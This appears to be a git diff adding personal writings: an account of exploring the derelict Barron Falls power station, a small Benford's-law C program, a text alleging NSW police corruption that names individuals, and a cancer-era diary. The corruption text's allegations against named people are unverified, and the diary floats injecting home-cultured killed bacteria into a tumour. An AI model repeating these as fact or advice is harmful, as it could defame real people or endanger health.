air in or blow air out. I peered out +the window and back at the wall above : there partly obscured by foliage, in +the style of metropolitan building text everywhere in the 1930s were the +words in half-inch cement relief. + + + BARRON + FALLS + POWER + STATION + + +The entry blockhouse was littered with rotting junk. Old propane cannisters, +camping gear, mosquito netting, toothbrushes, clothing, a yellow biohazard +disposal container, disintegrating pulp Western novels. All the hallmarks of +makeshift human habitation long abandoned. But whom, and why? The psychedelic +multicolour artwork sprayed on the walls provided a clue, but nothing +definite. + +One walks along a short corridor and, just past a rotting makeshift wooden +bench, is faced by another of the heavy welded stainless steel rod mesh +installations which block entry to the wastewater outlet. Fortunately some +kind person has chopped out a segment of this mesh in the bottom right +corner, which saved me hours of farting around with a car jack and hacksaw +and I wriggled through into the coming darkness. I put on my head torch, +checked my spares, descended some stairs and took a flash shot with my +camera, aimed at the impenetrable gloom in front. + +Immediately about a hundred bats detached themselves from the roof and +stormed the doorway which framed me. Demonstrating astonishing aerobatics +they'd be pinned momentarily in the beam of my head torch and then bank +sharply before powering past my head towards the dim light of blockhouse. +When I'd remembered to breathe again I swept my torchbeam in front of me +to reveal a sheer drop and a large space behind it. Evidently whatever had +functioned as stairs or flooring here had gone. A significantly unreliable +looking ladder beckoned but I knew better than to use it in such a place - +if I injured myself seriously, any rescuers would have a hell of a time +coming to look for me. + +I uncoiled my rope and put on my harness. The unkind individuals who +installed the anti-fun barrier had inadertantly provided me with a +super-secure anchor from which to belay myself down into the unknown. With +my heart beating fast, I knotted the ends and payed out the coils into the +black volume, clipped in, leaned back and started the descent. + +It didn't last very long, my feet hitting the ancient concrete within +about five metres. I didn't know how reliable the stuff was, so I stayed +clipped into my rope while I sussed the place out. The place was a grim +picture of total devastation. As my eyes adapted to the dark, I could +start to parse outlines and generate a map in my head of what I was +exploring. What were these strange shapes around me? + +I was on the generator floor. Below it was a sub-level with large cast +iron pipe sections, which had been unbolted and moved out of position. The +drop to the bottom was about three metres below the floor I stood on. The +irregular trickling of running water matched the visual chaos. + +The whole building was encased, the cavity having been dug and the +building growing up, roof and all, inside it. + +On my right was a rotting double mattress, plus more abandoned clothes, +empty prescription pharma cannisters (circa 1997), a cheap bulk-carrier +plastic bag with more rotting junk in it. The walls sported more examples of +Giger-esque spraycan artwork. Above me was a very corroded, arched, +corrugated-iron roof, covered in condensation, and immediately under it +was a large 8.25 ton rail-mounted crane on heavy iron beams. Sigh. These +metals were smelted before the days when the atmosphere was contaminated +with radioactive fallout, making them intrinsically special, products from +a less polluted era - no transuranics in these members here. + +I later learned, upon discussions with people who knew about the controversial +construction of the Skyrail, that during construction a population of ferals +were using the disused power station as a base from which to launch their +protest activities. It fitted what I told them about what I found in the +station. I was amazed that anyone could actually live here for any period, +in such an inaccessible, damp, dark and hazardous place - but simultaneously +amazed at the dedication to forest preservation it demonstrated. And before +we go slagging the ferals at their lack of clean-up, it needs to be remembered +that the station was left as a proxy garbage dump when the power utility +gutted it. Ferals and suits presumably left the mess for similar reasons - +the effort of getting the junk back up the cliff. + +On the generator floor itself were strewn the guts of the trio of +alternators. Huge, heavy six-pole rotors, bits of armature, and various metal +shapes whose function I had no clue about lay stripped of their valuable +copper windings and scattered about as if only contempt and gravity cared. + +The green and black cowlings of the hydroelectric generators hadn't moved +from their regimented layout, presumably by virtue of their mass and +having been embedded in the concrete floor. The covers were off, their +exposed blades retained their original ordered configuration, showing the +fine precision workmanship of their long dead manufacturers. + +The green machinery and heavy plumbing was to enable the flow of water to +be controlled smoothly. If the station had been running at full capacity +and suddenly the valves closed off, the pipe with the massive, internally +stored inertia of several hundred tonnes of fast moving water would tend +to rip straight off its mountings and pile up, mangled, in the bottom of +the penstock tunnel, with the additional bonus of flooding the basement of +tht station. So the system presumably had to be brought up to speed, and +also choked back to a stop, over a period of several minutes. This was all +manually done - no PLCs in this place. Hence, huge levers and handles and +gear-wheels sprout from the generators. I could imagine 1940's men with their +vests and caps throwing the switches, the throb and hum of the alternators +as they spun, the swooshing roar of the waste water as it splattered and +bubbled down the outlet tunnels. Did they have pride in the place? I can't +imagine that they didn't. + +The station's long black power systems control panel had been stripped of +every switch, meter and indicator, the switchgear fittings and racking +rusted or slumped according to their constitution, what couldn't be +pilfered and wasn't indestructable was damaged or destroyed. Even a small +stepdown transformer sits forlornly rusting along one wall, with its lid +ripped off and windings gone. It was all a bit sad, the place has been well +ruined since its heyday. + +Wandering around brought me to each of three short tunnels which took +tonnes of spent water from each generator and dumped it into the outlet +port. They've been relagated to the task of disposing of the seepage from +the penstock tunnel and from the rock cavity in which the station exists. + +Another door brought me to the penstock, the large-diameter pipe which +took the speeding waters from the weir and fed them into the turbines. +The penstock tunnel promised much - logically it'd go all the way up to +the weir, which not only looked like an interesting place to go, but +which, if it provided an exit, would save me clambering across the river +and fighting my way back up the cliffside in the rain. It is rumoured to +have an opening half-way along it, which surfaces at the sheer cliffside +with a spectacular and rarely-seen view of the railway side of the falls. +I was sorely tempted, but stuck to the rules which had kept me alive so +far and declined to explore this confined and structurally unknown quantity +on my own. Aw, drrrrAT. + +The biggest hole in the floor drops straight down to the sub-basement +floor, which is unadorned local rock submerged in a half a metre of +ludicrously clear water. Was this a large, once-covered access hole, or +was it left for future installation of another generator? I don't know. + +I used a lot of film and flash battery capturing the place on camera, and +then realised I had to get out if I was going to make it back to the +railway before dark. I definately wanted to avoid the dark for the ascent +up the tricky track via which I'd arrived. So I prussiked out, coiled my +rope, packed and silently thanked the place for having me, before crawling +out and compost-surfing back down to the exposed rock of the riverbed. + +The sun shone feebly over the lip of the falls, and I knew I'd have time +to get out in the remaining light, so I commenced the climb. I didn't much +care about getting wet now, so I waded through some wide, shallow sections to +cross the river, and clambered up some of the blockier outcrops to the +track I'd come down a few hours before. The effort of ascent warmed me +and dried my clothes, and by the time I arrived at the Kuranda station +platform and climbed over the fence (in front of some tourists obviously +distressed by my dishevelment) I was thoroughly knackered. I guzzled +rainwater from the tank behind the information displays on the station and +raided my wet, heavy pack for the last of my munchies. I sat and looked at +the place for a few minutes before I gathered my strength and walked back to +the carpark. I was glad I didn't have to kick start the motorbike! I rode +back to Greg's place at Koah Road, sweating relief and smelling of moist +earth, swollen with happiness that I'd finally done the Barron. Stuffed if +I was going to carry my climbing gear back to Sydney in my backpack - I +mailed it back the next day. + +I had the photos developed in Lismore and was amazed anew - yes, I'd +really been in there. My bum ached after nearly 2000km of southward +motorbiking, and reminded me that yes, I had indeed done the travel after +all. + +So there it lies, awaiting the next explorer. It's an excellent place, +and I hope you're enjoyed the story, even if it's a little long-winded. +It's a sad tale of deliberate neglect of yet another landmark chunk of +Australia'a early struggle to become a self-sustaining nation. We neglect +these relics at our peril, for doing so permits us to forget the struggle +which permitted us modern folks to have such comparatively easy, +electrically powered, computer-driven, air-conditioned lives - or should +I merely say - existances? Have we already forgotten? Perhaps in some senses +we already have. Time will tell us eventually. + +

+ + + + diff --git a/benfords.c b/benfords.c new file mode 100644 index 0000000..e1c0cb3 --- /dev/null +++ b/benfords.c @@ -0,0 +1,39 @@ +#include +#include +/* This program is made available under the terms of the GNU copyleft*/ + +int main(void) + +{ + +char buffer1[20]; +char buffer2[20]; +double symbols; +double proportion; +double actual_symbol; + +/*get the nums*/ +printf("How many symbols are available in this system ?\n"); +//gets(buffer1); +if (fgets(buffer1,20,stdin) == NULL) { exit(1);} + +printf("Of these, which symbol's Benford proportion do you want? ?\n"); +//gets(buffer2); +if (fgets(buffer2,20,stdin) == NULL) { exit(1);} + +/*conv to values*/ +symbols=atol(buffer1); +actual_symbol=atol(buffer2); + +/* benford's proportion = log to the base n of (1 + 1/D) where D is*/ +/* some symbol included in the symbol set */ + +proportion = log10(1+(1/actual_symbol)) / log10(symbols); + + +printf("Symbol %g occurs with proportion %g.\n\n", actual_symbol, proportion); + + +return 0; +} + diff --git a/bentcops.txt b/bentcops.txt new file mode 100644 index 0000000..7703eb5 --- /dev/null +++ b/bentcops.txt @@ -0,0 +1,105 @@ +This is a document which attempts to describe some aspects of endemic +corruption in the NSW police force, specifically during the period around +1979 to present. It is a transcript from a conversation with Blackheath +Flowers 7th September 2000. + + +Thoughts on the mysterious Rick and Luke. + +During the period about 1979-80, "Rick" a.k.a. Richard Seary, was active +in the Kings Cross region. Rick's main occupations, assisted by his +partner Luke, were narcotics dealing and unsolicited surgery without a +license to practise medicine. Rick's primary employer for surgery and +general miscellaneous public nuisances was an anonymous, tall Australian +gent who drove a Monaro who used to enjoy the +hospitality of the Bourbon and Beefsteak, a well known watering hole for +NSW detectives and CIA agents of the time. Rick was facing a lot of gaol +time for narcotics dealing and inept surgical procedures on unwilling +patients, but was able to remain in circulation owing to his other role as +a police informer. Rick had also insinuated himself into various +aboriginal groups. + +Rick and probably many other informers find themselves in their role +because their previous involvment in the narcotics distribution system. +The informer-to-be, usually sourced from a position of socioeconomic +vulnerability, is threatened with prosecution if they fail to reveal +information on people involved in other (alleged) criminal activity in the +locale. Since illegal drug transactions are a victimless crime, and there +are no complaints raised about lack of prosecutions of disposable, +small-time dealers and habitual users, there is never any pressure on the +police to reveal the identities of their informants. + + + + +Regarding Rodney Podesta. + +Rodney Podesta recently came to some notoriety as one of the police officers +responsible for the shooting of Roni Levi on Bondi Beach in 1998. He was not +subsequently charged for this shooting. He has some other interesting personal +historical aspects which have not yet seen the light of newsprint. Some of +these serve to highlight the entrenched nature of corruption in the NSW police +force. + +Rodney Podesta, having failed both of the maximum permissible two applications +to join the NSW police force, was subsequently permitted to join the NSW police +as a trainee police officer when he applied for admission a third time. These +circumstances for admission are highly unusual. Applicants who have failed two +attempts at admission are, without exception, refused a third application. +Unless, of course, they have relatives who hold high office in the NSW Police +training Academy at Goulburn. Rodney was subsequently permitted to undergo +training and graduated as a probationary NSW police constable in 1996, despite +te knowledge that he had many friends and associations over many years in the +Kings Cross area, which would, one might expect, have rased a red flag about +Rodney's suitability to perform as a law enforcement officer at all, let alone +in the Kings Cross region. + +Rodney Podesta's now deceased father, Joe Podesta, long-time owner of the +Piccolo Coffee Shop in Kings Cross, was brought up before two Royal Commissions +and was reputed to be involved in three gang wars of an unspecified nature. +This establishment provided a safe haven where cannabis dealing could occur +without any intervention by the local police, and this is the reason for the +immunity of this establishment to harassment by local police and emerging +criminal gangs in the region. + +Rodney Podesta was initially posted to the Rose Bay precinct upon +graduation. The choice of assignment was determined in part by the nature +of the associations he had made in his preferred and subsequent region of +operation, which was Kings Cross. Rodney, during his time as an +adolescent, was occupied on Wednesday nights supervising the running of +the Piccolo Coffee shop, which one might expect swayed the development of +Rodney's character and view of the world and his place in it. Much of the +Piccolo's clientele represented a less law-abiding and honest section of +the community than one might prefer as an environment in which a +upstanding adolescent might be expected to develop within. Rodney was, +through his father's ownership of the Piccolo, exposed to influences which +certainly shaped his later choice of carreer and his attitude towards it. + +Rodney was bored (and not sufficiently remunerated) by his initial assignment +and, because he wanted to "see some action" applied for a transfer. This led to +his reassignment to the Bondi Beach police station. + +It is alleged that there was unusual behind-the-scenes police computer +database activity in which Rodney was involved. Access to the police files +is logged, but this logging does not ensure that access to these files is +made for valid reasons - for instance, an officer or other individual with +access to the files could conjure up a reason like "suspected stolen car", +enter the license plate details and see what - and who - comes up. + +The actual nature of Rodney's accessions was never determined, but an +indication of their significance is given by the fact that neither the +state or federal police investigated this activity - and this activity was +never investigated in the courts. The only organisation which investigated +Rodney's activities prior to the shooting or Roni Levi was ASIO, who +installed a surveillance camera into the cieling of his Randwick unit (via +the floor of the unit above). + +The issue here is not that Rodney was corrupt, but rather that Rodney was +an instrument of a system with corruption so entrenced that it encouraged +and fostered corruption as a way of life for law enforcement officers. +What does it say that in order to run the police force in NSW that one has +to appoint a person from another country to do the job, and that the first +major change he implemented was to prevent the Goulburn Police Academy +from functioning as a manufacturing plant for additional institutionalised +and generational corruption and nepotism in the police force. + diff --git a/bill_me.txt b/bill_me.txt new file mode 100644 index 0000000..bb9fca1 --- /dev/null +++ b/bill_me.txt @@ -0,0 +1,579 @@ +File: bill_me.txt +Cont: More crap in the interminable saga of predator's near-life experience +Dates: 22 Dec 2k3 -> Jan 6 2k4 + + +On account of Bill's appearance in my neck, I went along and saw Paul the +oncologist again, this time without bringing Dad along since I expected +he'd just fall alseep in the chair again. It was good just being there +alone with the guy, so I could do a bit of a brain dump without having to +care what dad thought. He hadda feel of Bill The Lump. I reek faintly of +methylselenium and volatile sulfur compounds, since I'm stuffin' myself +full of foods full of free-radical scavenging molecules, avoiding carbs, +plus imbibing various transition metal trace elements, enzyme cofactors +and B group vitamins. He reckons the changes I've made to my diet are +mainly preventative rather than curative, tho the way I see it, any new +tumor cell is another one which can be prevented, or persuaded not to +propagate, if the surrounding biochemical circumstances are configured +against it doing so. To my gobsmacked surprise he reckons we should leave +this thing here in my neck unless it causes pain since its presence there +is irrelevant to the progression of the disease. That is, do what you +like, you're still fucked so leave it there. He'll cut it off if I say +that it's painful. I want the fucker out before it does something bloody +annoying like eat into the nerves which make my left arm work (ruining my +clutch control, wanking technique, and typing speed - you the reader +should be so lucky). He sent me off for a CT-scan so we can determine +wether or not it has invaded anything nearby. Ho fucking ho. + +Now, my take is, either chop the fucker out as soon as poss, or, since +it's so conveniently located where _I_ can get at it, try something whacky +like inject into it small quantities of bacterial lipopolysaccharides to +provoke a massive, feverish immune response like Coley used to do back in +the 1920s before chemo' and radiotherapy appeared on the scene. It didn't +succeed all the time, maybe 20% or so, and it was generally tried on +inoperable tumors... If I can get my hands on the two relevant strains of +microbes, I can culture them myself (I know sterile technique, have the +glassware and my old centrifuge will be just fine for getting the pellet +down) kill 'em in hot water, titrate their CFU density on a slide, and off +we go. I'm gonna have to trawl around to find the relevant bugs, tho. One +can't just walk into the university microbiology department these days and +snare an Eppendorff with a frozen pellet of your bug of choice in 10% +DMSO, and nor can one just waltz into Sigma-Aldrich-Fluka and buy a bunch +o' growth medium. Everyone assumes microbiologists are terrorists. + + +I popped along for my third CT-scan of the year. This was a 32-detector +Toshiba item, with better resolution than the previous 8-detector GE +instrument, but this time they weren't gonna ionise my dick - the +objective of the visit was to cook my brain, neck and lungs. More +sensitivity means they needed more radiation. Scans are a sort of +self-fulfilling technology - if we keep this scanning up I will be mutated +by radiation into the same sort of mutant blob I am attempting to locate +using radiation in the first place. It took half an hour, a bit over half +a grand, and I walked out with an envelope saying "To be opened only by +referring doctor." Grrrr. How dare a patient directly acquire a clue about +themselves? + + + +Christmas is usually insane and depressing even when you're not sick, +since everything's dripping with *enforced good cheer*. + + +"Shuddup. Be Happy. Obey All Orders Without Question. + Shuddup. Consume. The Comforts You've Demanded Are Now Mandatory." + +-Jello Biafra, "A Message From Our Sponsors" - Terminal City Ricochet +soundtrack. + + +The usual diversions one might turn to on teev have been replaced by round +the clock saturation christmasturbation (I do *so* love that word, it sums +everything up so well!) and full-spectrum bandwidth bombing with cricket +matches so stupefyingly pointless and boring that it is surely in the +national interest for us to nuke the entirety of the commonwealth just to +expunge the game from the surface of the planet. The roads are crawling +with cops intent on, say, fining motorcyclists for not wearing seat belts, +ha ha. And since the shops are shut, you can't even smack a load of +consumer therapy up your arm when you're in need of it. Not that I am. +Usually I spend the festy season avoiding the 'phone, and dicking around +with various bits of hardware. + +Weapons-grade farts aside, the oldie's dog has proven itself most amusing, +insofar as our new postie has failed to deliver letters to us on the +grounds that he considers our remarkably docile pooch to be too savage to +make it worth his risk putting his armload of mail through the gap in our +fence. The dog normally races out, barking, and runs up and down the fence +yappin' at the postal motorbike. She's doing this entirely for show, but +the new postie hasn't been told. Oz Post officialdom came to investigate +the savage dog claim. The mutt waddled out calmly, and when the postal +investigators opened the gate, she gave 'em a polite lick, a bit of an +inquisitive sniff and sat on her bum, looking upwards at them plaintively. +We've stopped calling her doggo, and now refer to her as Savijdog. Poor +postie. + + +My apologies: I was gonna have some links in here to pictures of the +scanned images of the tumor they chopped out of me, but that's not gonna +happen anytime soon. After fighting with it for two days, I have given up +getting the HP Scanjet 5100C to work with Debian/Knoppix 3.2... I've +transplanted drives, installed the whole OS anew, installed more recent +kernels, patched them with the horrible kludge-around required to +implement SCSI over parallel ports, frigged around with the BIOS settings, +apt-got more packages than is reasonable over this shite 56k modem link +and I'm at that point I so often arrive at in a Linux install, which is +defeated, resigned frustration. As far as Linux installs go, Knoppix is +very fucking good. For the first time, I conclude it's not the OS's fault, +or even mine - it's just that this particular scanner is a really, really +stupid design, most uncharacteristic of Pewlett-Hackard. As shamefully +wasteful as it is, I am gonna just drop the whole rig in the bin, victim +of its own poor documentation and interface design kludginess. I'd go +playing with a USB rig 'cept the interface stakes on this mobo are layed +out incorrectly for every USB feed socket I've ever laid my hands on. And +I don't have one handy either. I might have a PCI SCSI card lying around +somewhere. Maybe I'll just go up to a net cafe and scan it in there, and +fight with whatever broken ftp clients they force me to use. + + +I've been playing with hardware of a transportational nature too. After I +re-packed the pedal bearings with lithium grease and oiled the chain and +derailleur, I took my old aluminium-framed pushie for a spin. Slowly. I +shamefully bemoan the lack of raw acceleratory grunt and monster +respiratory reserve upon which I used to unthinkingly call as a serious, +kill'em'all, fuck-right-off urban commuting weapon nearly half a decade +ago before I really became enslaved by the convenience of liquid +hydrocarbons. In 1998 I was pushing 150km a week, keeping up with cars on +arterial roads. I destroyed bottom brackets and pedal bearings with +impunity... my lungs greedily gouged oxygen and nearby insects from the +surrounding air, vast planes of dorsal meat plated my back, and my pelve +was welded to a pair of sculpted, throbbing, half kilowatt Krebs cycle +engines barely recognisable as legs. By comparison, at the moment I'm a +weedy piece of desk-driving shit, and the muscular remnants of my arse +exhibit all the athletic responsiveness of a scoop of icecream gone soft +in the sun. So soft, in fact, I've gotta snare myself some seatpost +suspension, I am tired of having the seat hammered up my bum every time I +drop the back wheel into a pothole. + + +It's actually been a pretty pleasant week, but it contained various +stupidities. I angrily chopped a friend of ten years out of my life, after +deciding he was being rather more interrogatory than he shoudda been. Ah, +well, it isn't like I didn't warn him. It's intriguing - I am much more +freely prepared to do this, these days, but even if awareness of my life +expectancy hadn't suddenly dropped by three decades in the last month, I +wasn't about to have anyone make unsolicited, unwarranted deductions about +my shag life, crow about their success at it when they're wrong, and then +keep at it when I tell 'em not to. I'll reveal what I will, which is quite +a bit, but will not be interrogated, no matter how subtly. Nor will I have +my crankiness about this specific incident written off as a background +effect of my being suddenly aware of the foreshortening of my lifespan. If +you're reading this, and you know who you are, you have a couple of years +to think about it before I'll take you out of my killfile. + +Anyway. + +On the 'eve I had a delightful nosh'n'blab and a couple of beers with a +couple of friends over at Maroubra, a stroll along the beach, with +complementary perving upon the nearly naked bods of nearby women who got +their gear off and ran into the freezing, pounding surf. Salt spray +condensed on my specs, a cold wind raced off the choppy ocean and sucked +all the heat out of me. We went back to my friends' share house and in +don't-give-a-shit mode I ate lots of delightful foods dripping with carbs +and sugars. I'm sure Bill grew a bit as a result, but arrr, fuck him. + +"That's WHAT he does. That's ALL he does." -Kyle Reese, referring to +Terminator + + +The Cookie Manufacturer and I rode back to the ice cream factory through +suburbs largely depleted of traffic, and after killing dozens of midnight +mozzies before they could drill us, shagged farewell shags since one of us +was leaving the country for a month. Christmas only comes once a year, but +I'm glad we don't. Off she goes, back to the land of the free where they +imprison more people per capita than anywhere else on the planet, landing +at an airport on the edge of a state run by precisely the same fuckin' +Terminator that Kyle Reese was referring to above. Fucked if I'm ever +gonna go to the US again, they fingerprint everyone who goes there now, +which is a sure sign the place has turned into a police state the likes of +which it specifically set out to avoid becoming, if their constitution is +anything to go by. + + +Goddamned mozzies have no decorum, I discovered in the morning there were +several mozzie bites on my arse presumably installed while I was +distracted by shagging from the task of smashing them into bloody mash +against me. + + +Christmas day was crushingly hot and murderously dry. I soaked my T-shirt, +put my leather jacket on over the top of it, and motorcycled up to Palm +Beach (maybe 60km north) in the hazy, shimmering thermal waste. When I +started the bike, the fuel was *boiling* in the tank, toxic, flammable +vapours hissed out of the fuel cap. The road was sticky - the kick stand +had sunk slightly into the melting tarmac. I kept the visor down because +otherwise the dry breeze sucked the moisture out of my eyes. The traffic +was heavy, I saw several cars on the roadside with their owners gazing +under the hoods. I had a pretty good run apart from encountering some +homicidal tailgating clowns, who I motioned to pass me only to watch them +tailgate the cars in front of me. Dickheads. Much of the way a +motorcyclist stays alive out there is by reading people's roadcraft and +vehicle damage status and assessing people's ability to fuck up in such a +way as will fatally include oneself when one has not positioned oneself so +as to avoid the wreckage. This defensive tacticality is habitual, these +days, and its still worth the effort of keeping my eyes peeled. +Reprogrammed to self-destruct from the nucleotides up, nonetheless I'm not +driving around with a deathwish. The wet shirt under my jacket was bone +dry by the time I got to Palm Beach. The place amazes me, it looks like a +fuckin' four-wheel drive convention, huge Toorak tractors parked all over +the place, obstructing the roads. + + +It was good to see Lissie and Craig - my cousins. I watch their kids grow +up at intervals of twelve months and there's something oddly satisfying +about it even though as an adoptee I am biologically unrelated to them. +Lissie and I have some pretty raucous, very enjoyable conversations. I ate +a ton of seafood, configured Liam's evil X-box for him (Micro$oft: +Enslaving Your Children), had a swim in their pebblecreted pool, and +caught up with some of my proxy rellos. Their maniacal bad-attitude male +pomeranian has literally arse-raped, disembowelled and scattered the +pieces of every stuffed toy in the house, which makes me glad it's not a +rottweiler. I took Liam's grandma Julie for a spin (admittedly, she had me +at knifepoint) on the motorcycle which she thought was pretty cool, if a +bit draughty on account of the aerodynamics of spread legs and a dress. It +was great to catch up with them all. Half full of piss, I answered their +questions about my cancer as best I could, which probably wasn't very +well. Liam's only about three, and he reckons I have a nasty scratch up my +front. Well, yeah, I do. + +I'd have hung around for longer but I had to meet an old friend on the +19th floor in the offices of the NSW Minstry for Police. I locked him out +of my life two years ago and I thought we were about ready to tolerate +each other again. To look at him he hadn't aged a day, but I could see in +his right eye a cloudiness that spoke of a cataract. Staring out the +window at the nighttime view upon which the chrome-domed NSW police +minister used to gaze, with our feet on the furniture, we caught up in the +heat of a stuffy office with broken airconditioning. We would have got +pissed but all the pubs on Oxford st were shut so we couldn't score any +Guinness. + +We chatted up about a lot of stuff, but some fundamentally annoying things +about him have not changed. He mentioned to me as news things I remembered +him telling me two years ago. The percentage of his thought processes +ripped directly from TV still exceeds the number of hits I want on my old +news / useless bullshit filters. It's not gonna be a prolonged reunion. + +I rode home topless in the stinking nighttime heat. + + +By the time I got there Dad had got his hands on the CT-scan report. + +To everyone's surprise, I have a brain, and to my surprise in particular, +it appears to be normal. So are my lungs, though they're the lungs of a +slack bastard who doesn't do enough exercise. The report is worded +obscurely, almost defensively, as if they didn't trust me not to rip the +envelope open a couple of days ago and come to my own conclusions from +whatever the radiologists wrote. They report a large, hypodense mass, +where I had told them it was. Well, surprise, surprise. It seems to have +not invaded the surrounding bones or vasculature yet. They didn't say it +_was_ a lymph node... its identity is referred to obliquely - `there is no +other evidence of metastatic disease'. I feel like I have learned +precisely two fifths of fuck-all about this lump. I'm from the school of +though that sez, biopsy the bastard, stick some of it on a slide and +identify its cellular morph. But maybe that'd rupture it, freeing whatever +is contained in the putative node, to wreak invasive havoc on the rest of +my neck. + +When I see Coz on the 5th, I'm gonna ask that he wield the tactical +machete once more. Out, damned spot! + + +27th Dec + +I got an SMS from a number I didn't recognise late on the 26th, and was +invited out to a fuck-my-anticancer-diet dinner at an Italian restaurant +in Newtown, by a mysterious brown woman of part South African extraction whom, +when she wears her distinctly 1970's silver-rimmed Polaroid sunglasses and +straw hat, bears a startling resemblance to a famous Chilean dictator. The +nosh was great, inclusive of garlic bread with enough topping to change +the refractive index of my exhaled breath after eating the stuff. We +wandered down to her friend's place to play with a nice telescope (Saturn +looks the best it has for thirty years just now, since its orbital +inclination is at its maximum so the rings are obvious) but it was a +cloudy night so we couldn't see the stars, and had to settle for perving +into the neighbor's front windows and discovering the type and rating of +various fluoroescent bulbs in the nearby streetlamps. And, later, snogging +in the park at Camperdown. Next day I popped over to her place on the way +to drop a packload of books in East Hills and spent rather longer there +than I intended, for reasons which you could probably guess by now given +the content of previous rants. Man... people go buy fibro houses in +suburban wastelands and wonder why they're isolated, lonely +and bored outta their minds when they're not out, busy working. To +alleviate this, she's looking for some sort of long-term relationship but +I told her I'm not really in a position to participate in such a thing. +I'm happy to share a shag even if it is simply to relieve the solitude, +which appears to be engineered into the very fabric of the suburb - I +speak with authority when I say this place's groundwaters, secluded and +swaddled in rusting cylindrical ferrocrete, are more interesting than its +streetscapes. Regardless of how good such shaggery might be, it's a +meaningless gesture against the brute fact that the whole district was +designed to partition its inhabitants off from each other, to prevent the +spontaneous growth of a community before it ever might take root. Nobody +plays in the treeless parks, prowling cops hassle every cluster of kids +which happens to condense anywhere, etc etc, and you can only hang around +in the sprawling mall if you're spending money. Even the public seating, +optimised for discomfort, is specifically manufactured to tell your bum to +get lost after five minutes. + + +28th Dec + +I finally caught up to a head torch modification project I've had in the +works for at least two years. See conway.cat.org.au/~predator/whiteled.txt +I thought for a moment during testing I'd fucked the MAX1698 chip (a truly +incredible bit of DC-DC engineering!) which would have been an expensive +exercise, but it turned out I'd just blown a Schottky catch diode (surface +mount, B4H) which rectifies the N-channel FET output on the way to the LED +array. I swapped it out for something slower, fatter and tougher from my +parts bin... rated to 4A, 1kV. The SMD part which I had blown up was 1mm x +2mm and the exact replacement would be an absolute pain in the arse to +solder in, anyway - capillary action makes the fuckin' things stick to the +point of the soldering iron, during which time they get fried and don't +work any more. + +Pete and his f'yonce Louise (great... there's gonna be two people in the +family named Lousie Maher now) popped in, which was a good excuse to stuff +myself with all that shitty carbohydrate I've recently noticed how keenly +I have missed. I might pop in and see them down in Wollongong when I am +next doing a clandestine reconnoitre of the Port Kembla copper smelter. I +miss good coffee - the vac-sealed Vittoria stuff, plunged through +stainless mesh in gleamin' borosilicate. + + +30th Dec. + + +Long lost (well, about 12 years since we've seen him) cuz Tony showed up +without warning. Great to see him and I would have chatted to him more +except that I had pre-arranged to go waste some time with Keoh. Keoh's +done a good job on the cubby at the back of the junkyard. Fuck alone knows +how he acquired the very swish pair of cufflinks he gave me - embossed +with the NSW police service emblem, and cloaked in the insignia of the +Drug Squad. Very amusing, but they're illegal to wear if you're not a cop, +and besides, wearing them could very well get me killed in some of the +circles I move in. + +The Cat firewall (tarvat, so named since our previous fw was called +avatar) has developed some odd glitchiness. Thinking it was thermally +related I did a guts transplant (harddisk, display and network cards, this +way we know there won't be any interrupt conflicts or failed module +dependancies on bootup) into our hot standby box but I got the same error +there. + +While I was furiously hammering this stuff to see if I could make it go, +Coco comes into the geek room to slowly drone in my direction a stream of +low information content small-talk. Coco is a pain in the arse who has +disappeared from the Ice Cream factory for a month - his cat has remained, +dropping cat turds in unexpected places and, if you ask me, considering +itself very lucky not to have been found euthanased in a deep freeze +somewhere. He says, how ya going, and without looking up I mention +"frantically busy and unable to talk to you, sorry." "Ok, get fucked, +then." He says. Yeah, never mind that I was genuinely frantically working +on something important which lots of people depend upon, or that I gave +the dude a key to my old squat when he was moaning about his impending +homelessness last month, nor that I was fighting to get his net link +working as I spoke. Sometimes I wonder if I should just give up +volunteering and find some fool who's prepared to pay me to do what I do +for fun anyway. Arrr. but then again, maybe I'm becoming a grumpy prick +and he's just doing me the favour of telling me. + +It's amazing. After I blew Coco off, Len, David, and Rana blew in for a +chat. I'm trying to track this bug down, and nyaargh there's all these +people chewing on my brain while I'm tryin' to get this box workin'. Rana +cooked me a delightful tofu/eggplant something-or-other. I eventually +pinned it down to a bug in shorewall's IP-conntrack. The firewall's still +knackered. Andy logged into it remotely later, and fucked it up even more, +which is uncharacteristic. So I have to go out and torture it in person. +Not tonight tho. + + + +New Years Eve. + +The oncologist rang up in the morning to tell me what I already knew about +the CT-scan. Which was, more or less, nothing more than my fingers had +told me. I reckon I'll try and talk Cozzi into doing a fine needle biopsy +of this neck thing - if you have to accuse me of spending too much time in +front of microscope slides, go ahead, but I reckon there's a lot you can +tell from cell morphology which no CT scanner on the planet is gonna ever +reveal. + +I rode up to North Head to a Cave Clan party in the abandoned gun turret +emplacements nestled in the saltbush on the sandstone flats above the huge +cliffs which rise, sheer, 70m out of the Pacific ocean. Fireworks exploded +on either side of me as I drove across the Harbour Bridge under police +escort at 20km an hour like all the other drivers, but I couldn't waste +attention on the pretty colours. + +Fortunately there was a southerly breeze, since the biggest sewage +treatment plant in Sydney was only 200m north of us. + +Like all Clan parties, it seriously rocked. Really, given such a high +concentration of worthwhile, kick-arse, criminally minded free spirits, +sex, drugs, wicked melancholy electro plus old school rock'n'roll, no door +charge (no doors either), no dress regs, and a site with a view the +government's been trying to sell to developers for bazillions of dollars, +where the fuck else would you bother to go on NYE? 'Oxide brought his +generator, Siolo his Linear Designs speakers and an amp' which could +easily incinerate both of them; to this seismic survey apparatus was +connected an .mp3 player which had about ten thousand ripped tunes in it. +Word's got around. ... diode announced some weeks ago to the Clan on my +behalf that I've been seriously sick of late, people were glad to see me - +I got an ear-smashing reception when I arrived, which was cheering. + +As might be expected of a bunch of mortals in denial, we're a catalog of +sickies. Hatchet's kerosene habit has cost him a lung, curly-haired Pete's +liver's being eaten alive by Hep C, Oggie's MS is chewing him up slowly, +MrI was nearly felled by pericarditis, on it fuckin' goes. About fifty +people who are collectively a bigger law enforcement job creation scheme +than the entire district of Cabramatta showed up, ate, drank, smoked good +grass (for which I can vouch), danced like epileptics on nitrous, fucked +in the bushes (for which I can also vouch), detonated things of an +explosive nature, conjectured on what was _really_ in the tabs they'd +taken before they got there, sat and chatted by the fire which was perched +on the iron mountings where the army's coastal surveillance optics used to +be installed. I met some Adelaide clansmen who were amazed that I'd been +there and tagged up in the drains under their city, and who mistakenly +think I am some sort of god (Chinese Whispers effect, I guess). Feenie and +I compared scars - they used his tattoos to align the edges of the one in +his legs, but his sensory mapping is wrong now, he feels the back of his +leg on the front of his leg, or something like that. Marauder, grinning +fiendishly, his hair short and bleached white, looked terrifyingly similar +to Billy Idol except he's a metre too tall and six orders of 